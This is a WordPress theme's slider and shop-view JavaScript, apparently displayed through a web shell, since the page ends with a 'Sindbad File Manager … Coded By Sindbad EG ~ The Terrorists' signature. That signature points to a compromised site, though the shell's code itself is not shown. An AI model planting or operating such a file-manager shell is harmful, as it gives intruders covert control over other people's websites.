                    slidesPerView: options[&#039;col_mobile&#039;],
                },
            },
        });
        swiper.init();
    });

    /* Project slider */
    $(&quot;.rt-porject-slide&quot;).each(function () {        
        var $this = $(this);
        var $scrollbar = $this.find(&#039;.swiper-scrollbar&#039;)[0];
        var $pagination = $this.find(&#039;.swiper-pagination&#039;)[0];
        var $next = $this.find(&#039;.swiper-button-next&#039;)[0];
        var $prev = $this.find(&#039;.swiper-button-prev&#039;)[0];
		var options = $(this).find(&#039;.swiper-wrapper&#039;).data(&#039;xld&#039;);
        var swiper = new Swiper( this, {
            init: false,
            loop: options[&#039;loop&#039;],
            paginationClickable: true,
            spaceBetween:  options[&#039;spaceBetween&#039;],
            pagination: {
                el: $pagination,
                clickable: true,
                type: &#039;bullets&#039;,
            },
            navigation: {
                nextEl: $next,
                prevEl: $prev,
            },
            scrollbar: {
                el: $scrollbar,
                draggable: true,
            },
            breakpoints: {
                1200: {
                    slidesPerView: options[&#039;col_lg&#039;],
                },
                992: {
                    slidesPerView: options[&#039;col_md&#039;],
                },
                768: {
                    slidesPerView: options[&#039;col_sm&#039;],
                },
                480: {
                    slidesPerView: options[&#039;col_xs&#039;],
                },
                0: {
                    slidesPerView: options[&#039;col_mobile&#039;],
                },
            },
        });
        if (options[&#039;autoplay&#039;]) {
            swiper.params.autoplay.enabled = true;
            swiper.params.autoplay.delay = options[&#039;autoplaySpeed&#039;];
        }
        swiper.init();
    });

    /* Service slider */
    $(&quot;.rt-service-slider&quot;).each(function () {
        var $this = $(this);
        var $pagination = $this.find(&#039;.swiper-pagination&#039;)[0];
        var $next = $this.find(&#039;.swiper-button-next&#039;)[0];
        var $prev = $this.find(&#039;.swiper-button-prev&#039;)[0];

        var options = $this.find(&#039;.swiper-wrapper&#039;).data(&#039;xld&#039;);
        var swiper = new Swiper( this, {
            init: false,
            paginationClickable: true,
            spaceBetween:  options[&#039;spaceBetween&#039;],
            pagination: {
                el: $pagination,
                clickable: true,
                type: &#039;bullets&#039;,
            },
            navigation: {
                nextEl: $next,
                prevEl: $prev,
            },
            breakpoints: {
                1200: {
                    slidesPerView: options[&#039;col_lg&#039;],
                    slidesPerGroup:options[&#039;col_lg&#039;],
                },
                992: {
                    slidesPerView: options[&#039;col_md&#039;],
                    slidesPerGroup:options[&#039;col_md&#039;],
                },
                768: {
                    slidesPerView: options[&#039;col_sm&#039;],
                    slidesPerGroup:options[&#039;col_sm&#039;],
                },
                480: {
                    slidesPerView: options[&#039;col_xs&#039;],
                    slidesPerGroup:options[&#039;col_xs&#039;],
                },
                0: {
                    slidesPerView: options[&#039;col_mobile&#039;],
                    slidesPerGroup:options[&#039;col_mobile&#039;],
                },
            },
        });
        if (options[&#039;autoplay&#039;]) {
            swiper.params.autoplay.enabled = true;
            swiper.params.autoplay.delay = options[&#039;autoplaySpeed&#039;];
        }
        swiper.init();
    });

    //Vertical testimonial

    $(&quot;.rt-testimonial-vertical&quot;).each(function () {
        var options = $(this).find(&#039;.slick-wrapper&#039;).data(&#039;carousel-options&#039;);
        var nxt = $(this).find(&#039;.rt-prev&#039;);
        var prv = $(this).find(&#039;.rt-next&#039;);
        const sliderWrap = $(this).find(&#039;.slick-wrapper&#039;);
        const sliderConfiguration = {
            autoplay: options[&#039;autoplay&#039;],
           //speed: options[&#039;speed&#039;],
            prevArrow: prv,
            nextArrow: nxt,
            dots: false,
            arrows: options[&#039;arrow&#039;],
            slidesToShow: options[&#039;items&#039;],
            vertical: true,
            responsive: [
                {
                    breakpoint: 1024,
                    settings: {
                        slidesToShow: options[&#039;items&#039;],
                    },
                },
                {
                    breakpoint: 767,
                    settings: {
                        slidesToShow: options[&#039;items_tablet&#039;],
                    },
                },

                {
                    breakpoint: 425,
                    settings: {
                        slidesToShow: options[&#039;items_mobile&#039;],
                    },
                },

            ],
        }
        sliderWrap.slick(sliderConfiguration);

    });

    //Rt Slider
    $(&quot;.elementor-slides&quot;).each(function () {

        var options = $(this).data(&#039;slider_options&#039;);
        const sliderConfiguration = {
            autoplay: options[&#039;autoplay&#039;],
            speed: options[&#039;speed&#039;],
            autoplaySpeed: options[&#039;autoplaySpeed&#039;],
            dots: options[&#039;dots&#039;],
            arrows: options[&#039;arrows&#039;],
            loop: options[&#039;infinite&#039;],
            fade: options[&#039;fade&#039;],

        }
        $(this).slick(sliderConfiguration);

    });
	
	/* Logo slider */
    $(&quot;.rt-testimonial&quot;).each(function () {
        var $this = $(this);
        var options = $this.find(&#039;.swiper-wrapper&#039;).data(&#039;xld&#039;);
		var $nxt = $(this).find(&#039;.rt-prev&#039;)[0];
        var $prv = $(this).find(&#039;.rt-next&#039;)[0];
        var swiper = new Swiper( this, {
            init: false,
			direction: options[&#039;direction&#039;],
			loop: true,
			loopedSlides: 0 ,
			spaceBetween: options[&#039;space&#039;],
			slideToClickedSlide: true,
			pagination: {
				el: &#039;.swiper-pagination&#039;,
				clickable: true,
				type: &#039;bullets&#039;,
			},
			navigation: {
				nextEl: $nxt,
				prevEl: $prv,
			},
            breakpoints: {
                1024: {
                    slidesPerView: options[&#039;items&#039;],
                },
                767: {
                    slidesPerView: options[&#039;items_tablet&#039;],
                },
                0: {
                    slidesPerView: options[&#039;items_mobile&#039;],
                },
            },
        });
        if (options[&#039;autoplay&#039;]) {
            swiper.params.autoplay.enabled = true;
            swiper.params.autoplay.delay = options[&#039;speed&#039;];
        }
        swiper.init();
    });


    if (typeof $.fn.isotope == &#039;function&#039;) {
        var $rtGalleryContainer = $(&#039;.rt-isotope-wrapper .rt-isotope-content&#039;);
        $rtGalleryContainer.isotope({
            filter: &#039;*&#039;,
            animationOptions: {
                duration: 1000,
                easing: &#039;linear&#039;,
                queue: false
            }
        });

        $(&#039;.rt-isotope-tab a&#039;).on(&#039;click&#039;, function () {
            var $parent = $(this).closest(&#039;.rt-isotope-wrapper&#039;),
                selector = $(this).attr(&#039;data-filter&#039;);

            $parent.find(&#039;.rt-isotope-tab .current&#039;).removeClass(&#039;current&#039;);
            $(this).addClass(&#039;current&#039;);
            $parent.find(&#039;.rt-isotope-content&#039;).isotope({
                filter: selector,
                animationOptions: {
                    duration: 1000,
                    easing: &#039;linear&#039;,
                    queue: false
                }
            });
            return false;
        });
    }
}

function rdtheme_wc_scripts($) {
    /* Shop change view */
    $(&#039;#shop-view-mode li a&#039;).on(&#039;click&#039;, function () {
        $(&#039;body&#039;).removeClass(&#039;product-grid-view&#039;).removeClass(&#039;product-list-view&#039;);

        if ($(this).closest(&#039;li&#039;).hasClass(&#039;list-view-nav&#039;)) {
            $(&#039;body&#039;).addClass(&#039;product-list-view&#039;);
            Cookies.set(&#039;shopview&#039;, &#039;list&#039;);
        } else {
            $(&#039;body&#039;).addClass(&#039;product-grid-view&#039;);
            Cookies.remove(&#039;shopview&#039;);
        }
        return false;
    });
}
</pre><br />Sindbad File Manager Version <font color="red">1.0</font>, Coded By <font color="red">Sindbad EG ~ The Terrorists</font>
</BODY>
</HTML>